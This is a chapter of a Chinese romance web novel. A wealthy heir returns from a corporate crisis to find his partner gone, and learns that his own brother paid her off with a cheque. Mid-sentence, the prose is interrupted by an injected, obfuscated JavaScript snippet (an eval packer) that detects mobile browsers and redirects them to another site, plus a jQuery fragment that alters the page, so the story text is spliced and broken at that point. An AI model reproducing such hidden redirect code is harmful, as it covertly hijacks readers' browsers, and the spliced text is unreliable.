转眼间空气里已浮动着初夏微醺。周冉和秦朗的关系,在一种心照不宣的默契中,保持着某种进阶版的稳定。周冉依旧坚持不让秦朗在家里过夜,连睡沙发的提议都被她以“我家沙发认生,怕你压坏”为由无情驳回。
起初两人心照不宣地在顶级酒店套房约会,隐秘,便捷,事毕各自离开,倒也符合周冉不粘腻的作风。直到某次,秦朗一边系衬衫扣子,一边用那种混合着餍足与委屈的语气嘟囔:“夫人,下次能不能换个地儿?这酒店隔音……啧,我都不敢尽情发挥,怕隔壁投诉扰民,有损我英明神武的形象……”周冉闻言从镜子里斜睨他一眼:“德行。”没过多久,秦朗名下那套位于顶级地段、私密性极佳、装修风格完全按周冉喜好来的大平层公寓,就成了两人新的据点。这里没有退房时间,没有隔壁可能存在的耳朵,只有一整面墙的落地窗外璀璨的城市夜景,和足够秦朗“尽情发挥”也不怕扰民的宽敞空间。
这天傍晚,暮色将天空染成温柔的紫灰色。两人刚牵着手慢悠悠晃回来。电梯平稳上升,镜面墙壁映出两人挨得很近的身影,秦朗的手指有一下没一下地摩挲着周冉的指尖,空气里有种懒洋洋的甜蜜。指纹锁“嘀”一声轻响,门滑开,温暖的灯光自动亮起,室内弥漫着周冉喜欢清冷木质调香薰气味。秦朗反手关上门,顺势就把人抵在了玄关的墙壁上,低头想去寻那两片诱人的红唇。
“嗡嗡嗡!”
他口袋里的手机,就在这暧昧升温的节骨眼上,不识趣地剧烈震动起来,嗡嗡声在安静的玄关格外刺耳。
秦朗动作一滞,保持着将人圈在怀里的姿势,腾出一只手摸出手机。屏幕上来电显示“父亲”。
这个时间,老爷子亲自打电话来,绝非闲话家常。秦朗眼底那点旖旎瞬间褪去,换上了工作时的沉稳。他看了周冉一眼,用口型说了句“我爸”,然后按下了接听键。
“爸。”
电话那头传来秦父低沉严肃、语速极快的声音,隐约能听到几个关键词:“……技术泄露……海外账户异常……监管问询……立刻回公司……”
秦朗的脸色随着电话内容,一点点沉了下去。他一边“嗯”、“明白”、“我马上到”地应着,一边已经松开了环着周冉的手,转身快步走到客厅中央,用公寓的座机快速拨通了另一个号码,简明扼要地确认了几个信息。挂断座机,他又立刻用手机登录了内部系统,屏幕冷白的光映着他紧绷的下颌线。短短几分钟,他周身的气场已从慵懒情人切换成了杀伐决断的集团继承人。
他放下手机,揉了揉眉心,转身看向一直安静站在玄关、抱着手臂的周冉,脸上带着歉意和来不及掩饰的凝重:“夫人,公司出了点急事,比较棘手,我得立刻过去处理。”他顿了顿,似乎想解释,又觉得此刻不是时候,只补充道,“事情有点突然,我得亲自盯着。”
周冉脸上没什么惊讶或不悦,她点点头:“嗯,去吧。正事要紧。”
秦朗走回来,双手捧住她的脸,不由分说地低头,在她唇上印下一个又重又急的吻,带着未散的情?欲和突如其来的焦灼,仿佛想从这个吻里汲取一点安定,又像是某种仓促的确认。一吻结束,他额头抵着她的:“等我,老婆。处理完马上回来。”
周冉没应他那声“老婆”,只是抬手,不甚温柔地拍了拍他的脸颊:“赶紧滚蛋,别磨蹭。”
秦朗又用力抱了她一下,这才抓起随手丢在沙发上的西装外套,拉开门大步走了出去。
公寓里瞬间恢复了寂静,只剩下香薰机极细微的喷吐声。周冉在玄关站了几秒,才慢慢走到客厅,在宽大的沙发上坐下,随手拿起一本之前翻了一半的杂志。
就在这时。
“叮咚。叮咚。”
门铃响了。
清脆,规律,在过分安静的公寓里显得有些突兀。
周冉从杂志上抬起头,有些疑惑。秦朗刚走,有钥匙,不会按门铃。物业?这个时间点……她放下杂志,起身走到门后,透过猫眼往外看去。
……
秦朗那边,事情远比电话里听说的更复杂棘手。涉及到核心技术泄密嫌疑和海外资金异常流动,直接惊动了高层和监管。他连夜召集核心团队,核对数据,沟通律师,应对问询,忙得焦头烂额,手机消息不断,电话一个接一个。等他终于能稍微喘口气,揉了揉酸涩的眼睛,看向窗外时,发现天色已经蒙蒙亮了。
他这才猛地想起周冉。拿出手机,屏幕上有几条未读的工作信息,但没有周冉的。他点开对话框,上一条还是他离开公寓后,在车上抽空发的一句:「公司这事得处理两天,估计要通宵,老婆你早点睡,别等我。」周冉回了一个简短的:「好。」
一如既往的言简意赅,符合她的风格。秦朗当时被各种事务缠身,只匆匆扫了一眼,心里那点因为爽约而起的愧疚,也被“她没生气就好”的念头盖过,便又投入了下一轮讨论。
此刻,看着那个孤零零的“好”字,秦朗心里莫名掠过一丝的不安。但疲惫和后续更繁重的工作立刻占据了上风。他甩甩头,觉得自己大概是忙晕了,周冉从来不是黏人的性格,这会儿肯定在家睡得正香。
接下来的两天,秦朗几乎住在了公司。抽空给周冉发过几条信息,无非是“在忙”、“吃了没”、“记得吃饭”之类的。周冉的回复一如既往的简短,“嗯”、“吃了”、“好”,间隔时间也越来越长。秦朗只当她也在忙,或者嫌他唠叨,没太在意。他甚至忙里偷闲,想着等这事了了,得好好补偿她,连道歉礼物都在脑子里过了几款。
直到第三天下午,最关键的一场听证会结束,初步危机暂时解除,秦朗才觉得紧绷的神经稍微松弛了一些。他走出会议室,第一件事就是拿出手机,想给周冉打个电话。这几天发的最后几条信息,她都没回。
他拨通周冉的号码。
“对不起,您所拨打的电话已关机,请稍后再拨……”
冰冷机械的女声传来。
秦朗皱了皱眉,心里那丝被忽略的不安瞬间放大。关机?周冉很少关机,她的手机就像她人一样,总是保持着一种高效待机的状态。
他连着打了三遍,都是关机。
可能没电了?或者懒得充电?他试图用理性说服自己,但心跳却不受控制地加快了。他点开微信,发了几条信息,又打了微信语音,依旧无人接听。
不对劲。
秦朗立刻驱车赶往他和周冉常去的那套公寓。输入密码,门开,里面一片漆黑寂静。他打开灯,客厅整洁得过分,空气里只有香薰残留的极淡尾调,没有一丝人气。他快步走进卧室,浴室,衣帽间,空无一人。周冉常穿的那几件家居服还在,但梳妆台上,她常用的那支口红不在了。
她走了。
秦朗站在空荡荡的客厅中央,忽然觉得一阵寒意从脚底窜起。他猛地想起三天前离开时那个仓促的吻,想起那个“好”字,想起之后越来越少、直至消失的回复……
不,不会的。周冉不是那种会因为一次爽约就闹失踪的人。她那么冷静,那么通透……
他强迫自己镇定,开始拨打南景的电话。等待接通的“嘟嘟”声,每一声都敲在他骤然发慌的心上。
“喂?秦朗?”南景的声音传来。
“南景,”秦朗听到自己的声音有些发紧,他清了清嗓子,“冉冉……在家吗?或者,她有没有联系你?”
电话那头沉默了两秒,南景的声音沉了下来:“没有,她说去散散心。”
散心?秦朗的心沉了下去。周冉从来没跟他提过要“散心”。
“没有吵架,”秦朗快速说道,脑子飞快转动,“三天前晚上,公司有急事我临时走了。之后她回复就很少,今天电话关机,信息不回,公寓里她带走了随身行李……”
“她,走了。”南景打断他。
走了?为什么?秦朗挂了电话,像困兽一样在公寓里快速搜寻。他冲到物业中心,亮明身份,要求调看三天前晚上他离开后的监控。
监控画面一帧帧闪过。看到他匆忙离开的身影。半小时后,电梯在公寓楼层停下,一个戴着鸭舌帽和口罩、穿着连帽衫、看不清面容的瘦高身影走了出来,径直走到他们的公寓门前,按响了门铃。
门开了。周冉出现在门口。她和门外的人似乎简短交谈了几句,然后,她侧身让开了门。那个戴帽子的身影走了进去。
大约十五分钟后,公寓门再次打开。周冉走了出来,脸上没什么表情,但脚步很快。那个戴帽子的人跟在她身后半步,也走了出来。两人一前一后,走向电梯,消失在监控画面中。
自始至终,周冉没有回头,没有迟疑。
秦朗死死盯着定格的画面,周冉最后那个消失在电梯口的背影。他握着鼠标的手,手背上青筋迸起。
他猛地转身,冲出物业中心,跑向自己的车。拉开车门坐进去的瞬间,他的手控制不住地颤抖,试了几次才将车钥匙插进锁孔。
发动机轰鸣,跑车如离弦之箭般窜出地下车库。秦朗紧紧握着方向盘,目光死死盯着前方,脑子里一片混乱,只有周冉消失在监控里的那个背影,和那个戴帽子的陌生身影,不断交错闪现。
他去哪儿?
不,是她去哪儿了?
跟谁走的?
为什么?
如果他早知道,三天前转身离开的那个瞬间,就是某种平静终结的开始,他绝对、绝对不会松开握着她的手,哪怕半步。
急促的门铃声在安静的楼道里炸开,一声接一声,毫不间断,彰显着按铃之人的焦灼。门内传来不紧不慢的脚步声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046488|194740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接着,门锁“咔哒”一声打开。南景出现在门口,穿着简单的家居服,头发微湿,似乎刚洗过澡,脸上没什么意外的表情。
秦朗几乎是撞在门框上,胸膛剧烈起伏,眼睛里布满血丝,头发凌乱,西装外套随意地搭在手臂上,领带扯松了,整个人散发着一种连续熬夜后的狼狈与狂躁。他看到南景,劈头就问,声音嘶哑得厉害:“她呢?周冉在哪儿?!”
南景的目光在他脸上停留了一瞬,侧身让开通道:“先进来再说。”
秦朗一步跨了进来,鞋也没换。南景在他身后轻轻关上了门。
“坐。”南景走到沙发边,示意了一下,自己则转身去倒了一杯温水,放在秦朗面前的茶几上。“喝点水。”
秦朗没看那杯水。
“你知道她在哪儿,对不对?南景,你他妈别骗我!你一点都不着急,你肯定知道!”
南景在旁边的单人沙发上坐下。
“我不知道。”
“你不知道?!”秦朗“霍”地站起身,俯视着南景,“你怎么可能不知道?!你是她哥!她最信任的人!她突然消失,手机关机……她肯定联系过你!南景,你告诉我,她去哪儿了?!”
南景看着他因为激动神情,沉默了几秒,才说道:“我真不知道她具体去了哪个国家。她只跟我说,要出国散散心,到了地方,安顿下来,会联系我。仅此而已。”
“什么时候走的?!”秦朗追问。
“今天下午的飞机。”南景看了一眼墙上的挂钟,“这个点,应该还在天上。”
“为什么?”他问,“她为什么突然要走?连声招呼都不跟我打?就因为我那天晚上临时离开?南景,你知道的对不对?她走之前,是不是见了什么人?公寓监控里那个戴帽子的……是谁?!”
他语速极快,问题一个接一个。
南景垂下了眼帘,他放在膝盖上的手指,蜷缩了一下。这个微小的动作没能逃过秦朗的眼睛。
沉默在蔓延,每一秒都像在秦朗焦灼的心火上浇油。
“到底见了谁?!”秦朗终于忍不住,猛地一拳砸在旁边的沙发扶手上。他眼眶赤红:“你说话啊!南景!都他妈这个时候了,你还要瞒着我?!你要急死我是不是?!”
南景缓缓抬起头,目光复杂地看了秦朗一眼,终于吐出了一个名字:“秦朔。”
秦朗整个人像是被按下了暂停键,猛地僵住。他张了张嘴,喉咙里发出“嗬”的一声气音,却没能立刻说出话来。
秦朔。
他的弟弟。同父同母的亲弟弟。
“操……”良久,一个干涩的字眼,从秦朗牙缝里挤出来。他像是突然被抽干了所有力气,踉跄着后退一步,跌坐回沙发上,双手插入发间,用力揪扯着自己的头发。几秒钟后,他猛地抬起头,眼底是翻涌的暴怒和一种被至亲之人从背后捅刀般的冰冷。
“秦朔……是他……”秦朗的声音嘶哑,他猛地站起身,就要往外冲,“我他妈找他算账去!”
“秦朗。”
“冉冉她走之前,让我带句话给你。”南景看着秦朗僵硬的背影,慢慢说道。
秦朗没有回头,背脊绷得笔直,拳头捏得咯咯作响。
南景顿了顿,似乎在斟酌用词,最终,还是用周冉那种平淡到近乎冷酷的原话复述:“她说:不过是一时兴起而已,就别闹那么难看。毕竟,是你家里人。”
“一时兴起?”秦朗猛地转过身,眼睛瞪得极大,他指着自己的心口,“放他妈的屁!南景!我对她!从来就不是一时兴起!我他妈是把心掏出来捧给她看的!她怎么能……她怎么能这么说?!秦朔……秦朔跟她说了什么?!他到底做了什么?!”
看着秦朗几乎要崩溃的样子,南景沉默了片刻,然后,他缓缓站起身,走到旁边的桌子上,拿起一张米白色硬纸片。他走回来,将那张纸片,递到了秦朗面前。
秦朗的视线落在那张纸片上。那是一张银行支票。支票的抬头、金额、签章……一切信息都清晰无比。当他看清那个龙飞凤舞的签名和后面那数字,他瞳孔骤然收缩,呼吸猛地一窒。
那是秦朔的签名。而那金额……。
秦朗的目光死死钉在那张支票上,额角的青筋不受控制地暴跳起来,一下,又一下,清晰可见。他脸上的血色瞬间褪得干干净净,连嘴唇都失了颜色,只剩下一种骇人的惨白。
“操。”又一个字,从秦朗紧咬的牙关中迸出,比之前那声更沉,更冷,带着一种山雨欲来的暴怒。
他猛地将那支票攥紧在手心,纸张瞬间皱成一团。
他没有再说一句话,猛地转身,大步流星地朝着门口走去,步伐又重又急。
“南景。有她的消息了,告诉我一声。”
“嗯。”